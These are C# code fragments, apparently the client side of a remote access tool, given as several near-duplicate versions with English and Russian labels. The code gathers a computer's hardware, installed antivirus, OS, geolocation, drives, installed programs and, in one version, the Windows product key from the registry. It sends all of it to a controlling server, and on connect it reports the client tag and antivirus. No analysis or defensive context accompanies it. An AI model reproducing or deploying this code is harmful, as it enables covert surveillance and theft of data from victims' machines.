//Gets computer information private void GetComputerInfo() { string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName()); ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country); ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName); ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City); foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.ASCII.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }
//Gets computer information private void GetComputerInfo() { string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Имя компьютера: " + ComputerInfo.GetName()); ComputerInfoList.Add("ЦП: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Видеокарта: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Объём оперативной памяти (Мб): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Антивирус: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Операционная система: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Страна: " + ComputerInfo.GetCountry()); ComputerInfoList.Add("Регион: " + ComputerInfo.GetRegionName()); ComputerInfoList.Add("Город: " + ComputerInfo.GetCity()); foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.UTF8.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }
//Get data that has been sent to the server private void GetData() { Message Data; while (Networking.MainClient.GetNextMessage(out Data)) { switch (Data.eventType) { case EventType.Connected: Console.WriteLine("Connected"); List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.ClientTag); ToSend.AddRange(Encoding.ASCII.GetBytes(ClientSettings.ClientTag)); Networking.MainClient.Send(ToSend.ToArray()); ToSend.Clear(); ToSend.Add((int)DataType.AntiVirusTag); ToSend.AddRange(Encoding.ASCII.GetBytes(ComputerInfo.GetAntivirus())); Networking.MainClient.Send(ToSend.ToArray()); string OperatingSystemUnDetailed = ComputerInfo.GetWindowsVersion() .Remove(ComputerInfo.GetWindowsVersion().IndexOf('(')); ToSend.Clear(); ToSend.Add((int)DataType.WindowsVersionTag); ToSend.AddRange(Encoding.ASCII.GetBytes(OperatingSystemUnDetailed)); Networking.MainClient.Send(ToSend.ToArray()); break; case EventType.Disconnected: break; case EventType.Data: HandleData(Data.data); break; } } }
//Gets computer information private void GetComputerInfo() { RegistryKey key; key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall"); string ListString = ""; List <string> ComputerInfoList = new List <string>(); try { ComputerInfo.GetGeoInfo(); } catch { } ComputerInfoList.Add("Computer Name: " + ComputerInfo.GetName()); ComputerInfoList.Add("Computer CPU: " + ComputerInfo.GetCPU()); ComputerInfoList.Add("Computer GPU: " + ComputerInfo.GetGPU()); ComputerInfoList.Add("Computer Ram Amount (MB): " + ComputerInfo.GetRamAmount()); ComputerInfoList.Add("Computer Antivirus: " + ComputerInfo.GetAntivirus()); ComputerInfoList.Add("Computer OS: " + ComputerInfo.GetWindowsVersion()); ComputerInfoList.Add("Ключ активации: " + ComputerInfo.GetWindowsProductKeyFromRegistry()); ComputerInfoList.Add("Country: " + ComputerInfo.GeoInfo.Country); ComputerInfoList.Add("Region Name: " + ComputerInfo.GeoInfo.RegionName); ComputerInfoList.Add("City: " + ComputerInfo.GeoInfo.City); foreach (var drive in DriveInfo.GetDrives()) { try { ComputerInfoList.Add("Имя диска: " + drive.Name); ComputerInfoList.Add("Файловая система: " + drive.DriveFormat); ComputerInfoList.Add("Тип диска: " + drive.DriveType); ComputerInfoList.Add("Объем доступного свободного места (в байтах): " + drive.AvailableFreeSpace); ComputerInfoList.Add("Готов ли диск: " + drive.IsReady); ComputerInfoList.Add("Корневой каталог диска: " + drive.RootDirectory); ComputerInfoList.Add("Общий объем свободного места, доступного на диске (в байтах): " + drive.TotalFreeSpace); ComputerInfoList.Add("Размер диска (в байтах): " + drive.TotalSize); ComputerInfoList.Add("Метка тома диска: " + drive.VolumeLabel); } catch { } } ComputerInfoList.Add("Установленные программы:"); string program = ""; foreach (String keyName in key.GetSubKeyNames()) { RegistryKey subkey = key.OpenSubKey(keyName); program = subkey.GetValue("DisplayName") as string; try { if (program.Length != 0) { ComputerInfoList.Add(program); } } catch { } } foreach (string Info in ComputerInfoList.ToArray()) { ListString += "," + Info; } List <byte> ToSend = new List <byte>(); ToSend.Add((int)DataType.InformationType); ToSend.AddRange(Encoding.UTF8.GetBytes(ListString)); Networking.MainClient.Send(ToSend.ToArray()); }